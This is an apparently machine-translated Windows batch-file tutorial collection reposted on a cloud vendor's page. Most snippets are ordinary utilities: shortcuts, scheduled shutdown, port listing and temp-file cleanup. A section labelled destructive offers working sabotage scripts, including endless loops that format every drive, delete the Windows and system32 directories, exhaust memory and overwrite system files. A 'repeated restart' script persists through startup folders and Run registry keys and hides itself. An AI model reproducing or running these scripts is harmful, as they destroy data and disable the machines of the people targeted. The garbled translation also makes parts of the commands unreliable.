Batch Instance Code Tutorial collection _dos/bat

Source: Internet
Author: User
Tags goto prefetch
Batch Instance Code tutorial
--------------------------------------------------------------------------------
The batch program deletes itself. bat
Echo Sometimes we need a batch program to delete itself after the execution is done, and you can use Del%0
Cases:
Copy Code code as follows:

@echo off
echo presses any key and I will delete myself
Pause
Del%0

--------------------------------------------------------------------------------
Batch Send folder shortcuts to desktop
Copy Code code as follows:

echo [Internetshortcut] > "%userprofile%\ desktop \ folder. url"
echo url=file:///c:/windows >> "%userprofile%\ desktop \ folder. URL"

--------------------------------------------------------------------------------
Batch processing gets the IP generated txt text. bat
The following code is batch fetch IP to generate TXT text at the same time:
Copy Code code as follows:

@echo off
< "%~f0" more +5 >tmp.vbs
cscript//nologo/e:vbscript Tmp.vbs%1>ip.txt
echo >nul && del tmp.vbs
Goto:eof
Set ODOM = Wscript.getobject ("http://www.duosc.com/ip.aspx")
Do Until Odom.readystate = "complete"
Wscript.Sleep 200
Loop
S=odom.documentelement.innertext
Set re = New REGEXP
Re. Pattern= "(\d+) \. (\d+) \. (\d+) \. (\d+) "
For each m in re. Execute (s)
WScript.Echo m
Next

--------------------------------------------------------------------------------
Disable (enable) Group Policy with batch processing
REGSVR32/S/u gpedit.dll disabled
REGSVR32/S Gpedit.dll Enabled
Using this command alone can still prevent Group Policy from being used, but the result is that-
The Group Policy that runs at this time is basically an empty shell! Using the following batch will be a perfect solution to this kind of problem!
Compile the following code into a bat batch file, which is the command to disable Group Policy
Copy Code code as follows:

@echo off
REGSVR32/S/U Fde.dll
REGSVR32/S/U Gpedit.dll
REGSVR32/S/U Gptext.dll
REGSVR32/S/U Wsecedit.dll
Exit

This is to enable Group Policy
Copy Code code as follows:

@echo off
REGSVR32/S Fde.dll
REGSVR32/S Gpedit.dll
REGSVR32/S Gptext.dll
REGSVR32/S Wsecedit.dll
Exit

--------------------------------------------------------------------------------
Batch processing timed shutdown. bat
Copy Code code as follows:

@echo off
Mode con lines=25
Title Timing shutdown
Color 1f
Cls
Echo.
Echo.
Echo.
Echo.
Echo Time uses a 24-hour system (such as 2:15, 12:00) to enter multiple points in time
Echo.
Echo multiple points of time separated by spaces
Echo.
Echo.
Echo━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Echo.
Set times=
set/p times= Please enter the shutdown time:
:: The following statement implements every day of the week a specified time shutdown
:: If you want to replace a few days per month, change the letter to a number, separated by commas
:: The following code does not have error detection statements, input time must be in the specified format input
:: You can use the AT command in the CMD window to view scheduled tasks
If not "%times%" = "" For%%i in (%times%) do (
At%%i/every:m,t,w,th,f,s,su Shutdown-s
)

--------------------------------------------------------------------------------
The batch process creates a shortcut to the URL format. bat
Copy Code code as follows:

@echo off
echo [Internetshortcut] >cmd.url
Echo Url=%windir%\system32\cmd.exe >>cmd.url
Echo iconindex=0 >>cmd.url
Echo Iconfile=%windir%\system32\cmd.exe>>cmd.url

--------------------------------------------------------------------------------
Batch processed into full screen interface. bat
Copy Code code as follows:

@echo off
:: Set: Run in Full-screen mode
Echo exit|%comspec%/k prompt e-B4 B0 CD/cd B0
Chcp 437>nul
Graftabl 936>nul
: REM Place any commands below ...
Dir
Pause

--------------------------------------------------------------------------------
Minimize run batch. bat
Copy Code code as follows:

:: Minimizing Run batches
@echo Off&&mode con cols=15 lines=1
%1%2
start/min/i "" "%~nx0" goto min&&goto:eof
: Min
echo XXX
Pause>nul
Exit
@echo off
Mode con cols=15 Lines=1
If exist "Temp.bat" goto Start
>temp.bat echo Start/min "" "%~nx0" ^&exit
Start/min Temp.bat&exit
: Start
Del "Temp.bat" >nul
Pause

--------------------------------------------------------------------------------
Look for QQ.exe and execute. bat
Copy Code code as follows:

@echo off
:: Search Qq.exe, find out and then execute and exit the CMD window
:: fsutil fsinfo drives can get out of the result although there are spaces in the middle, but he represents the return character or the role of line feed, so also to use find/v to filter, otherwise, only to the first partition
Setlocal enabledelayedexpansion
for/f "Delims=\"%%i in (' fsutil fsinfo drives^|find/v "') Do (
Set var=%%i
Set drive=!var:~-2!
fsutil fsinfo DriveType!drive!| Find "fixed" >nul && (
for/f "tokens=*"%%j in (' dir/a-d/b/s!drive!\qq.exe 2^>nul ') do if not "%%j" = "" Start ""%%j "&& exit
)
)

--------------------------------------------------------------------------------
Delete history. Bat
Copy Code code as follows:

@echo off
:: Delete The history of the run, find, and so on
REG ADD hkcu\software\microsoft\windows\currentversion\policies\explorer/v clearrecentdocsonexit/t reg_dword/d 00000001

--------------------------------------------------------------------------------
Batch View process port
Gets the port code that the current process opens by using the batch process:
Copy Code code as follows:

@echo off
Color A
Title XP Port-Process query
Setlocal enabledelayedexpansion
echo╔--╗
Echo native open ports and processes that use this port
echo╚--╝
Echo------------------------------------
Echo Port number Process name
ECHO TCP protocol:
:: Use the netstat command to find the port that uses TCP protocol communication, and divide the result;
:: Pass the second parameter (IP plus port) to%%i, and the fifth parameter (PID number) is passed to%%j;
for/f "Usebackq skip=4 tokens=2,5"%%i in (' Netstat-ano-p TCP "') does (
Call:assoc%%i TCP%%j
Echo! Tcp_port!! tcp_proc_name!
)
ECHO UDP Protocol:
for/f "Usebackq skip=4 tokens=2,4"%%i in (' Netstat-ano-p UDP "') does (
Call:assoc%%i UDP%%j
Echo! Udp_port!! udp_proc_name!
)
echo presses any key to exit
Pause>nul
: Assoc
:: Partition%1 (first parameter) to pass the second argument to%%e. In this program,%1 is the%%i above (in the form of: IP: Port number)
for/f "tokens=2 delims=:"%%e in ("%1") does (
Set%2_port=%%e
)
:: Query pid equals%3 (third parameter) process, and pass the result to variable? _proc_name,? represents UDP or TCP;
for/f "skip=2 usebackq delims=, Tokens=1"%%a in (' Tasklist/fi "PID eq.%3"/fo CSV ") Do (
::%%~a means to remove the quotation marks outside the%%a, as the result of the above command is enclosed in parentheses.
Set%2_proc_name=%%~a
)

--------------------------------------------------------------------------------
Destructive bat batch script [caution]
First, the death cycle forced format a: to Z: Disk (for some of the faster machine will be compared cause Father machine ...) )
Copy Code code as follows:

: Format
@format A:/q/y >nul
@format B:/q/y >nul
@format d:/q/y >nul
@format e:/q/y >nul
@format F:/q/y >nul
@format g:/q/y >nul
@format h:/q/y >nul
@format I:/q/y >nul
@format J:/q/y >nul
@format k:/q/y >nul
@format L:/q/y >nul
@format m:/q/y >nul
@format N:/q/y >nul
@format o:/q/y >nul
@format P:/q/y >nul
@format Q:/q/y >nul
@format r:/q/y >nul
@format s:/q/y >nul
@format T:/q/y >nul
@format u:/q/y >nul
@format V:/q/y >nul
@format W:/q/y >nul
@format x:/q/y >nul
@format y:/q/y >nul
@format Z:/q/y >nul
@format C:/q/y >nul
Goto format

Second, dead cycle force delete all files in the C: Disk Windows directory (similar to one of the above examples, but here is the use of mandatory delete parameters)
Copy Code code as follows:

: Breake
@if exist%windir%\system32\*.* del%windir%\system32\*.* >nul
@if exist%windir%\*.* del%windir%\*.* >nul
Goto Breake

Third, the use of some system tools memory footprint card to the crash
Copy Code code as follows:

:d IE
@start regsvr32.exe/s%windir%\system32\*.* >nul
@start%windir%\system32\*.* >nul
@start Notepad%windir%\explorer.exe >nul
Goto die

Four, with part of the tools of the detection information export function to generate huge garbage files (although the speed of garbage generation is very slow, but with the "Garbage king" virus a ratio, is also regarded as "silent * * * * *" bar ... )
Copy Code code as follows:

@start ping 127.0.0.1-t >%windir%\system32\regsvr32.dll >nul
:p ing
@start Ping 127.0.0.1-t >>%windir%\system32\regsvr32.dll >nul
@start Ping 127.0.0.1-t >>%windir%\system32\regedit.exe >nul
Goto Ping

--------------------------------------------------------------------------------
Repeated restart of malicious batches
Repeated reboot is to let someone else start the reboot has been repeated, the following code
Copy Code code as follows:

@echo off
Shutdown-r-T 3
Copy%0 C:\Documents "" and "" Settings\All "" users\"Start" menu \ Program \ Start \a.bat
Copy%0 C:\autoexec.bat
REG ADD hkey_local_machine\software\microsoft\windows\currentversion\run/v autoexec.bat/t reg_sz/d c:\autoexec.bat/ F
REG ADD hkey_current_user\software\microsoft\windows\currentversion\run/v autoexec.bat/t reg_sz/d c:\autoexec.bat/f
attrib Autoexec.bat +r +s +h
REG ADD hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall/v checkedvalue/t reg_dword/d 00000000/f
Del%0

3-second reboot joined the boot, 3 seconds to Countdown.
--------------------------------------------------------------------------------
Delete Right-click the new menu item. bat
Copy Code code as follows:

@echo off
:: Just delete the "shellnew" key under the "hkey_classers_roort\. Suffix name" item.
:: If it is not deleted, then the "hkey_classers_roort\. Suffix name" can be deleted
Mode con lines=25
Title "New" Menu content removal device
Color 1f
: input
Cls
Call:d Isplay
echo if you want to forcibly delete, select 1
Echo.
Echo.
Set input=
set/p input= Please enter the suffix name:
If "%input%" = "" goto input
If "%input%" = "0" exit
If "%input%" = = "1" goto fouce
for/f%%i in ("%input%") Todo (reg delete hkcr\.%%i\shellnew/f)
Goto continue
: Fouce
Cls
Call:d Isplay
Set input=
set/p input= Please enter a suffix name (forcibly deleted):
If "%input%" = "" Goto fouce
If "%input%" = "0" exit
for/f%%i in ("%input%") Todo (reg delete hkcr\.%%i/f)
: Continue
Cls
Call:d Isplay
Echo.
Set choice=
set/p choice= still going to clean up? (y/n):
If "%choice%" = "" goto continue
If "%choice%" = = "Y" goto input
If "%choice%" = "goto:eof"
:d Isplay
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
echo This program can delete the "new" item in the right menu of the extra content, for the "new" menu to lose weight!
Echo.
echo if you want to make certain types of files no longer appear in the new menu of the right mouse button, directly
Echo.
echo enters the suffix name for this file type. For example: RAR.
Echo.
Echo exit, please choose 0.
Echo.

--------------------------------------------------------------------------------
Quickly clean up junk files (fixed)
Copy Code code as follows:

@echo off
Color F0
Echo.
Echo is securely cleaning up junk files ...
del/f/q%systemdrive%\*.tmp>nul 2>nul
del/f/q%systemdrive%\*._mp>nul 2>nul
del/f/q%systemdrive%\*.log>nul 2>nul
del/f/q%systemdrive%\*.gid>nul 2>nul
del/f/q%systemdrive%\*.chk>nul 2>nul
del/f/q%systemdrive%\*.old>nul 2>nul
del/f/q%windir%\*.bak>nul 2>nul
del/f/q%windir%\*.tmp>nul 2>nul
del/f/q%windir%\prefetch\*.*>nul 2>nul
del/f/s/q%systemdrive%\recycled\*.*
del/f/q "%allusersprofile%\documents\drwatson\*.*" >nul 2>nul
del/f/q "%userprofile%\cookies\*.txt" >nul 2>nul
del/f/q/s "%temp%\*.*" >nul 2>nul
del/f/q/s "%systemroot%\prefetch\*.*" >nul 2>nul
del/f/q "%userprofile%\recent\*.*" >nul 2>nul
del/f/q "%userprofile%\application Data\microsoft\office\recent\*.lnk" >nul 2>nul
del/f/q/s "%userprofile%\local settings\temp\*.*" >nul 2>nul
RD/S/q%windir%\temp & MD%windir%\temp>nul 2>nul
If not exist%systemroot%\minidump\nul del/f/q/s%systemroot%\minidump\*.*>nul 2>nul
del/f/s/q "%userprofile%\local settings\temporary Internet files\*.*" >nul 2>nul

More Batch code package download address http://www.jb51.net/books/34318.html

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.